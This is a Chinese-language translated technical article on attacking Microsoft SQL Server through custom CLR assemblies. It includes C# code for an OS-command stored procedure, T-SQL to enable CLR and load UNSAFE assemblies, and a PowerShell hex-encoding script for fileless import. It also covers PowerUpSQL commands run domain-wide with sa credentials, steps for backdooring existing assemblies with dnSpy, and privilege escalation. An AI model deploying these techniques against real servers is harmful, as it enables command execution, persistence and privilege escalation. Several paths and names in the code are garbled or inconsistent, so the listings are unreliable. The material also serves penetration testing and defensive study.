【技术分享】攻击SQL Server CLR程序集

https://p2.ssl.qhimg.com/t01e9b9e83cc1ade34b.png

译者:兄弟要碟吗

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


在这个博客中,我会扩展Nathan Kirk博客CLR系列的CLR组件攻击。 我将介绍如何创建,导入,导出和修改SQL Server中的CLR程序集,以达到提升权限,执行系统命令和持久性等目的。我还将分享一些使用PowerUpSQL在Active Directory环境中更大规模执行(批量)CLR攻击的技巧。


什么是SQL Server中的自定义CLR程序集?

为了这个博客可以更好的说明,我们将定义一个公共语言运行库(CLR)组件作为一个.NET的DLL(或一组DLL)可以导入到SQL服务器。一旦导入,DLL方法就可以链接到存储过程,并通过TSQL执行。创建和导入自定义CLR程序集的能力是开发人员扩展SQL Server本地功能的一个很好的方式,但自然也为攻击者创造了机会。


如何为SQL Server定制一个自定义的CLR DLL?

下面是根据Nathan Kirk的操作和一些文章实现的利用微软C#执行系统命令的示例。你可以根据需要对代码作出修改,当你修改完毕后将文件保存至“c:tempcmd_exec.cs”。

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();
        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
        
        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);
        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);
        
        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();
        
        proc.WaitForExit();
        proc.Close();
    }
};

现在我们使用csc.exe将“c:tempcmd_exec.cs”编译成dll。在默认情况下即使你没有安装Visual Studio,csc.exe编译器是附带.NET框架的,我们使用下面的PowerShell命令来找到它。

Get-ChildItem -Recurse "C:WindowsMicrosoft.NET" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname

如果你找到了csc.exe,你可以使用下面的命令将“c:tempcmd_exec.cs”编译成dll文件。

C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe /target:library c:tempcmd_exec.cs


如何导入我的CLR DLL到SQL Server?

要将dll导入SqlServer,需要SQL登录的权限为sysadmin,有CREATE ASSEMBLY权限或ALTER ASSEMBLY权限。然后按照以下步骤注册dll并且将其链接到存储过程,以便使用TSQL执行cmd_exec方法。

以sysadmin身份登录到SqlServer,并用下面TSQL查询:

-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options',1
RECONFIGURE
GO
-- Enable clr on the server
sp_configure 'clr enabled',1
RECONFIGURE
GO
-- Import the assembly
CREATE ASSEMBLY my_assembly
FROM 'c:tempcmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
-- Link the assembly to a stored procedure
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
GO

现在,你应该可以通过“msdb”数据库中的“cmd_exec”存储过程执行系统命令了,如下面的示例所示。

http://p0.qhimg.com/t01c8f9a0abda2ca203.png

完成后你可以使用下面的sql语句删掉该过程和程序集


如何将我的CLR DLL转换成一个十六进制字符串并在没有文件的情况下导入它?

CLR程序集导入SQLServer时不必一定要引用一个dll文件,“CREATE ASSEMBLY”也接受一个十六进制的字符串表示CLR DLL文件。下面是一个PowerShell脚本示例,演示了如何将你的“cmd_exec.dll”文件转换到sql命令中,它可以用来创建没有物理文件引用的程序集。

# Target file
$assemblyFile = "c:tempcmd_exec.dll"
# Build top of TSQL CREATE ASSEMBLY statement
$stringBuilder = New-Object -Type System.Text.StringBuilder 
$stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null
# Read bytes from file
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
    $stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
# Build bottom of TSQL CREATE ASSEMBLY statement
$stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Build create procedure command
$stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Create run os command
$stringBuilder.AppendLine("EXEC[dbo].[cmd_exec] 'whoami'") | Out-Null
$stringBuilder.AppendLine("GO") | Out-Null
$stringBuilder.AppendLine(" ") | Out-Null
# Create file containing all commands
$stringBuilder.ToString() -join "" | Out-File c:tempcmd_exec.txt

如果一切顺利“c:tempcmd_exec.txt”文件应该包含以下SQL语句。在该示例中,十六进制字符串已被截断,但是你的长度应该更长。

-- Select the MSDB database
USE msdb
-- Enable clr on the server
Sp_Configure 'clr enabled', 1
RECONFIGURE
GO
-- Create assembly from ascii hex
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM 
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE 
GO 
-- Create procedures from the assembly method cmd_exec
CREATE PROCEDURE [dbo].[my_assembly] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec]; 
GO 
-- Run an OS command as the SQL Server service account
EXEC[dbo].[cmd_exec] 'whoami' 
GO

当你用sysadmin权限在SqlServer中运行“c:tempcmd_exec.txt”的sql语句时,输出应该如下所示:

http://p9.qhimg.com/t014591620f675bd37a.png


PowerUpSQL自动化

你可以在使用PowerUpSQL之前,访问此链接了解PowerUpSQL

我做了一个PowerUpSQL函数来调用“Create-SQLFileCLRDll”创建类似的DLL和TSQL脚本。 它还支持设置自定义的程序集名称,类名称,方法名称和存储过程名称。 如果没有指定设置,那么它们都是随机的。 以下是一个基本的命令示例:

PS C:temp> Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:temp
C# File: c:tempruncmd.csc
CLR DLL: c:tempruncmd.dll
SQL Cmd: c:tempruncmd.txt

以下是生成10个CLR DLL / CREATE ASSEMBLY SQL脚本的示例,在实验室中使用CLR组件时,可以派上用场。

1..10| %{ Create-SQLFileCLRDll -Verbose -ProcedureName myfile$_ -OutDir c:temp -OutFile myfile$_ }

如何列出现有的CLR程序集和CLR存储过程?

你可以使用下面的TSQL语句来查询验证你的CLR程序集是否正确设置,或者寻找现有的用户自定义的CLR程序集。

USE msdb;
SELECT      SCHEMA_NAME(so.[schema_id]) AS [schema_name], 
                        af.file_id,                                             
                        af.name + '.dll' as [file_name],
                        asmbly.clr_name,
                        asmbly.assembly_id,           
                        asmbly.name AS [assembly_name], 
                        am.assembly_class,
                        am.assembly_method,
                        so.object_id as [sp_object_id],
                        so.name AS [sp_name],
                        so.[type] as [sp_type],
                        asmbly.permission_set_desc,
                        asmbly.create_date,
                        asmbly.modify_date,
                        af.content                                                                         
FROM        sys.assembly_modules am
INNER JOIN  sys.assemblies asmbly
ON          asmbly.assembly_id = am.assembly_id
INNER JOIN  sys.assembly_files af 
ON          asmbly.assembly_id = af.assembly_id 
INNER JOIN  sys.objects so
ON          so.[object_id] = am.[object_id]

使用这个查询我们可以看到文件名、程序集名、程序集类名、程序集方法和方法映射到的存储过程。

http://p3.qhimg.com/t01f11832051ad29c30.png

如果你运行了我之前提供的“Create-SQLFileCLRDll”命令生成的10个TSQL查询,那么你应该在你的查询结果中看到“my_assembly”,你还将看到这些程序集相关的程序集信息。


PowerUpSQL自动化

我在PowerUpSQL中添加了一个名为“Get-SQLStoredProcedureCLR”的功能,它将迭代可访问的数据库,并提供每个数据库的程序集信息。 以下是一个命令示例:

Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Out-GridView

你还可以使用以下命令对所有域内的SQL Server执行此操作(前提是你拥有正确的权限)。

Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize

映射程序参数

攻击者不是唯一创建不安全程序集的人员。有时候开发人员会创建执行OS命令或者与操作系统进行资源交互的程序集。因此,定位和逆向这些程序集也是很有必要的,有时这些程序集会有权限提升的bug。例如,如果我们的程序集已经存在,我们可以尝试去确定一下它接受的参数和怎么使用它们。只是为了好玩,让我们使用下面的TSQL查询“cmd_exec”存储过程接受了哪些参数

SELECT                       pr.name as procname,
                                                pa.name as param_name, 
                                                TYPE_NAME(system_type_id) as Type,
                                                pa.max_length, 
                                                pa.has_default_value,
                                                pa.is_nullable 
FROM                    sys.all_parameters paINNER JOIN              sys.procedures pr on pa.object_id = pr.object_idWHERE                   pr.type like 'pc' and pr.name like 'cmd_exec'

http://p4.qhimg.com/t01fd8c5bdc0b41f28c.png

在这个例子中,我们可以看到它只接受一个名为“execCommand”的字符串参数。 针对存储过程的攻击者可能能够确定它可以用于执行OS命令。


如何将SQL Server中存在的CLR程序集导出到DLL?

在SqlServer中,我们还可以将用户定义的CLR程序集导出到dll。我们来谈谈从识别CLR程序集到获取CLR的源代码。首先,我们必须识别程序集,然后将它们导出到dll,并且对它们进行反编译以便进行源码分析(或修改为注入后门程序)。


PowerUpSQL自动化

在上面我们讨论了如何使用下面的PowerUpSQL命令列出CLR程序集。

Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize

它存在一个“ExportFolder”选项,我们可以设置它,这个功能将会把程序集dll导出到文件夹,以下是一个命令示例:

Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -ExportFolder c:temp  -Username sa -Password 'sapassword!' | Format-Table -AutoSize

http://p2.qhimg.com/t013c1fde7d3d951645.png

如果你是域用户,并且权限是sysadmin,还可以使用下面的命令导出CLR DLL

Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04SQLSERVER2014 -Username sa -Password 'sapassword!' -ExportFolder c:temp | Format-Table -AutoSize

Dll可以在输出的文件夹中找到。脚本将基于每个服务器的名称、实例和数据库的名称动态构建文件夹结构。http://p5.qhimg.com/t014ace1c6cbe1e57b4.png

然后你可以使用你喜欢的反编译器查看源代码。在过去一年中,我已经成为dnSpy的粉丝。阅读后面的内容你将知道这是因为什么。


如何修改CLR DLL并覆盖已经导入SQL Server的程序集?

以下简要介绍如何使用dnSpy反编译、查看、编辑、保存、和重新导入现有的SQL Server CLR DLL,你可以在这里下载dnSpy

本次练习我们将修改从SQL Server导出的cmd_exec.dll

1.在dnSpy中打开cmd_exec.dll文件。在左侧面板中,向下选择,直到找到“cmd_exec”方法并选择它,你可以立马看到它的源码并寻找bug。

http://p6.qhimg.com/t0108bb2d3be6479f81.png

2.接下来,右键单击包含源代码的右侧面板,然后选择“Edit Method (C#) …”

http://p5.qhimg.com/t0182c5f88ca9298604.png

3.编辑你想编辑的代码,在这个例子中,我添加了一个简单的“后门”,每次调用“cmd_exec”方法时,都会向“C:temp”目录中添加文件。示例代码和屏幕截图如下。

public static void cmd_exec(SqlString execCommand){
    Process expr_05 = new Process();
    expr_05.StartInfo.FileName = "C:\Windows\System32\cmd.exe";
    expr_05.StartInfo.Arguments = string.Format(" /C {0}", execCommand.Value);
    expr_05.StartInfo.UseShellExecute = true;
    expr_05.Start();
    expr_05.WaitForExit();
    expr_05.Close();
    Process expr_54 = new Process();
    expr_54.StartInfo.FileName = "C:\Windows\System32\cmd.exe";
    expr_54.StartInfo.Arguments = string.Format(" /C 'whoami > c:\temp\clr_backdoor.txt", execCommand.Value);
    expr_54.StartInfo.UseShellExecute = true;
    expr_54.Start();
    expr_54.WaitForExit();
    expr_54.Close();
}

http://p1.qhimg.com/t016501e12bb33c82ca.png

4.通过单击编译按钮保存修补的代码。然后从顶部菜单选择File、Save Module….然后点击确定

http://p9.qhimg.com/t0178865751334b3479.png

根据这篇Microsoft的文章,在每次编译CLR时,都会生成一个唯一的GUID并将其嵌入到文件头中,以便用来区分同一文件的两个版本。这被称为MVID(模块版本ID)。要覆盖已经导入到SQLServer的现有CLR,我们必须手动修改MVID。以下是一个概述。

1.在dnSpy中打开“cmd_exec”,如果它还没有被打开,向下选择PE部分并选择“#GUID”存储流。然后右键单击它,然后选择“Show Data in Hex Editor”。

http://p1.qhimg.com/t0186bd68a17e6f00f5.png

2.接下来,我们需要用任意值修改所选字节之一

http://p7.qhimg.com/t01af385db0707da720.png

3.从顶部菜单中选择文件,然后选择“Save Module…”

http://p0.qhimg.com/t0120d15a1bd57657c0.png

PowerShell自动化

你可以使用我之前提供的原始PowerShell命令,也可以使用下面的PowerUPSQL命令从新修改的“cmd_exec.dll”文件获取十六进制字节,并生成ALTER语句。

PS C:temp> Create-SQLFileCLRDll -Verbose -SourceDllPath .cmd_exec.dll
VERBOSE: Target C#  File: NA
VERBOSE: Target DLL File: .cmd_exec.dll
VERBOSE: Grabbing bytes from the dll
VERBOSE: Writing SQL to: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt
C# File: NA
CLR DLL: .cmd_exec.dll
SQL Cmd: C:UsersSSUTHE~1AppDataLocalTempCLRFile.txt

新的cmd_exec.txt 内容看起来应该像下面的语句

-- Choose the msdb database
use msdb
-- Alter the existing CLR assembly
ALTER ASSEMBLY [my_assembly] FROM 
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE 
GO

ALTER语句用于替换现有的CLR而不是DROP和CREATE。 正如微软所说的那样:“ALTER ASSEMBLY不会中断正在修改的程序集中当前会话里正在运行的代码。当前会话通过使用程序集的未更改位来完成执行。 所以,总而言之,什么都没有发生。 TSQL查询执行应该看起来像下面的截图:

http://p3.qhimg.com/t017ce4a1c8ded79364.png

要检查代码修改是否有效,请运行“cmd_exec”存储过程,并验证是否已创建“C:tempbackdoor.txt”文件。

我可以使用自定义CLR升级SQL Server中的权限吗?

答案是肯定的,但有一些苛刻的条件必须要满足。

如果你的SQL Server不是以sysadmin登录的,但具有CREATE或ALTER ASSEMBLY权限,则可以使用自定义CLR获取sysadmin权限,该自定义CLR将在SQL Server服务帐户(由sysadmin默认)。但是,要成功创建CLR程序集的数据库,必须将'is_trustworthy'标志设置为'1'并启用'clr enabled'服务器设置。默认情况下,只有msdb数据库是可靠的,并且禁用“clr enabled”设置。

我从来没有看到明确分配给SQL登录的CREATE或ALTER ASSEMBLY权限。但是,我已经看到应用程序SQL登录添加到“db_ddladmin”数据库角色,并且具有“ALTER ASSEMBLY”权限。

注意:SQL Server 2017引入了“clr strict security”配置。 Microsoft文档规定,需要禁用该设置以允许创建UNSAFE或EXTERNAL程序集。

(完)